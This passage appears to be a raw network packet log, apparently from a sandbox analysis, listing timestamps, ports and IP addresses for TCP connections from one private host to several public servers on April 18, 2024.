Apr 18, 2024 23:05:43.915653944 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.918673038 CEST	49796	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.918718100 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:43.918818951 CEST	49796	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.919035912 CEST	49796	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.919049025 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:43.919919968 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.919959068 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.920010090 CEST	49794	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.920022964 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.920036077 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.920083046 CEST	49794	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.920648098 CEST	49794	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.920659065 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.922918081 CEST	49797	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.922951937 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:43.923027039 CEST	49797	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.923311949 CEST	49797	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.923325062 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.032872915 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.032928944 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.032963991 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.032998085 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.032999039 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.033015013 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.033051968 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.038028002 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.038088083 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.038094997 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.045031071 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.045087099 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.045097113 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.052123070 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.052191973 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.052198887 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.060576916 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.060633898 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.060641050 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.069538116 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.069608927 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.069613934 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.075798988 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.075864077 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.075869083 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.118374109 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.141062021 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.141376019 CEST	49797	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.141392946 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.141695023 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.142075062 CEST	49797	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.142148018 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.142235041 CEST	49797	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.142472982 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.143378973 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.143596888 CEST	49796	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.143620968 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.143944979 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.144292116 CEST	49796	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.144351006 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.144398928 CEST	49796	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.146182060 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.146219969 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.146243095 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.146250963 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.146306038 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.147991896 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.148031950 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.148058891 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.148085117 CEST	49791	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.148096085 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.148154974 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.148163080 CEST	49791	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.148205042 CEST	49791	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.148859978 CEST	49791	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.148865938 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.152401924 CEST	49798	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.152483940 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.152586937 CEST	49798	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.152796030 CEST	49798	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.152826071 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.154341936 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.158229113 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.158288002 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.158318996 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.158353090 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.158363104 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.158386946 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.158423901 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.158462048 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.158478022 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.158489943 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.158503056 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.158552885 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.158565044 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.164338112 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.164381027 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.164401054 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.164422989 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.164478064 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.164483070 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.164494991 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.164536953 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.164566994 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.164578915 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.184142113 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.192121983 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.198368073 CEST	49796	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.199142933 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.199202061 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.230571985 CEST	49697	80	192.168.2.16	72.21.81.240
Apr 18, 2024 23:05:44.230693102 CEST	49698	80	192.168.2.16	72.21.81.240
Apr 18, 2024 23:05:44.246412992 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.256249905 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.256314039 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.256367922 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.256376982 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.257726908 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.257787943 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.257792950 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.267565966 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.267621994 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.267627954 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.274545908 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.274614096 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.274619102 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.281802893 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.281866074 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.281871080 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.289189100 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.289243937 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.289262056 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.297508955 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.297575951 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.297597885 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.306546926 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.306616068 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.306634903 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.311983109 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.312036037 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.312050104 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.320400953 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.320461988 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.320473909 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.334172010 CEST	80	49697	72.21.81.240	192.168.2.16
Apr 18, 2024 23:05:44.334193945 CEST	80	49698	72.21.81.240	192.168.2.16
Apr 18, 2024 23:05:44.334233046 CEST	49697	80	192.168.2.16	72.21.81.240
Apr 18, 2024 23:05:44.334280968 CEST	49698	80	192.168.2.16	72.21.81.240
Apr 18, 2024 23:05:44.365214109 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.365243912 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.365288973 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.365309000 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.365351915 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.370188951 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.370487928 CEST	49798	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.370498896 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.370804071 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.371143103 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.371176958 CEST	49798	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.371241093 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.371521950 CEST	49798	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.380424976 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.380459070 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.380480051 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.380490065 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.380533934 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.390161037 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.395286083 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.395318985 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.395359039 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.395369053 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.395415068 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.401932955 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.401972055 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.402023077 CEST	49796	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.402043104 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.402060032 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.402126074 CEST	49796	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.402254105 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.402343988 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.403028011 CEST	49796	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.403040886 CEST	443	49796	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.403883934 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.403934956 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.403964043 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.403985977 CEST	49797	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.404005051 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.404052019 CEST	49797	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.404057026 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.404067993 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.404118061 CEST	49797	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.405587912 CEST	49797	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.405597925 CEST	443	49797	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.410753965 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.410834074 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.412123919 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.417108059 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.417176008 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.424118042 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.424182892 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.436359882 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.436463118 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.436876059 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.436930895 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.445684910 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.445766926 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.453768969 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.453867912 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.458492994 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.458554983 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.466635942 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.466711998 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.470588923 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.470657110 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.474961996 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.475025892 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.483153105 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.483222008 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.483340979 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.485460997 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.485522032 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.485531092 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.492664099 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.492738962 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.492747068 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.492785931 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.492891073 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.496659040 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.496721029 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.496730089 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.505732059 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.505789042 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.505804062 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.505852938 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.505873919 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.506004095 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.506047964 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.506280899 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.506298065 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.941365957 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.941420078 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.941487074 CEST	49793	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.941507101 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.941519976 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.941571951 CEST	49793	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.942768097 CEST	49793	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:44.942780972 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:44.945272923 CEST	49799	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.945308924 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.945409060 CEST	49799	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.945643902 CEST	49799	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.945656061 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.952012062 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.952055931 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.952085018 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.952147007 CEST	49798	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.952227116 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.952254057 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:44.952299118 CEST	49798	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.952347040 CEST	49798	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.952733994 CEST	49798	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:44.952764034 CEST	443	49798	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:45.000619888 CEST	49800	443	192.168.2.16	40.127.169.103
Apr 18, 2024 23:05:45.000679970 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:45.000787020 CEST	49800	443	192.168.2.16	40.127.169.103
Apr 18, 2024 23:05:45.001420975 CEST	49800	443	192.168.2.16	40.127.169.103
Apr 18, 2024 23:05:45.001451015 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:45.161379099 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:45.161722898 CEST	49799	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:45.161735058 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:45.162092924 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:45.162389994 CEST	49799	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:45.162451982 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:45.162533045 CEST	49799	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:45.204159975 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:45.593463898 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:45.593660116 CEST	49800	443	192.168.2.16	40.127.169.103
Apr 18, 2024 23:05:45.595037937 CEST	49800	443	192.168.2.16	40.127.169.103
Apr 18, 2024 23:05:45.595046997 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:45.595274925 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:45.596900940 CEST	49800	443	192.168.2.16	40.127.169.103
Apr 18, 2024 23:05:45.640121937 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:45.664869070 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:45.664911032 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:45.664961100 CEST	49799	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:45.664974928 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:45.664988995 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:45.665050030 CEST	49799	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:45.665885925 CEST	49799	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:45.665900946 CEST	443	49799	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:46.175237894 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:46.175262928 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:46.175277948 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:46.175374031 CEST	49800	443	192.168.2.16	40.127.169.103
Apr 18, 2024 23:05:46.175396919 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:46.175415039 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:46.175481081 CEST	49800	443	192.168.2.16	40.127.169.103
Apr 18, 2024 23:05:46.178241968 CEST	49800	443	192.168.2.16	40.127.169.103
Apr 18, 2024 23:05:46.178257942 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:46.178273916 CEST	49800	443	192.168.2.16	40.127.169.103
Apr 18, 2024 23:05:46.178280115 CEST	443	49800	40.127.169.103	192.168.2.16
Apr 18, 2024 23:05:52.961656094 CEST	49688	443	192.168.2.16	13.107.21.200
Apr 18, 2024 23:05:53.757437944 CEST	80	49724	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:53.757698059 CEST	49724	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:06:07.442394972 CEST	49724	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:06:07.586870909 CEST	80	49724	208.109.76.254	192.168.2.16
Apr 18, 2024 23:06:22.498294115 CEST	49724	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:06:22.642616034 CEST	80	49724	208.109.76.254	192.168.2.16
Apr 18, 2024 23:06:22.642767906 CEST	49724	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:06:24.986197948 CEST	49802	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:06:24.986253023 CEST	443	49802	64.233.177.99	192.168.2.16
Apr 18, 2024 23:06:24.986388922 CEST	49802	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:06:24.986716032 CEST	49802	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:06:24.986732960 CEST	443	49802	64.233.177.99	192.168.2.16
Apr 18, 2024 23:06:25.203437090 CEST	443	49802	64.233.177.99	192.168.2.16
Apr 18, 2024 23:06:25.203855038 CEST	49802	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:06:25.203885078 CEST	443	49802	64.233.177.99	192.168.2.16
Apr 18, 2024 23:06:25.204385042 CEST	443	49802	64.233.177.99	192.168.2.16
Apr 18, 2024 23:06:25.204811096 CEST	49802	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:06:25.204889059 CEST	443	49802	64.233.177.99	192.168.2.16
Apr 18, 2024 23:06:25.256398916 CEST	49802	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:06:30.996057987 CEST	49803	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:30.996166945 CEST	443	49803	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:30.996272087 CEST	49803	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:30.996556997 CEST	49803	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:30.996592999 CEST	443	49803	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.101047993 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.101099968 CEST	443	49804	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.101195097 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.101356983 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.101367950 CEST	443	49804	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.210664034 CEST	443	49803	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.211110115 CEST	49803	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.211177111 CEST	443	49803	35.190.80.1	192.168.2.16
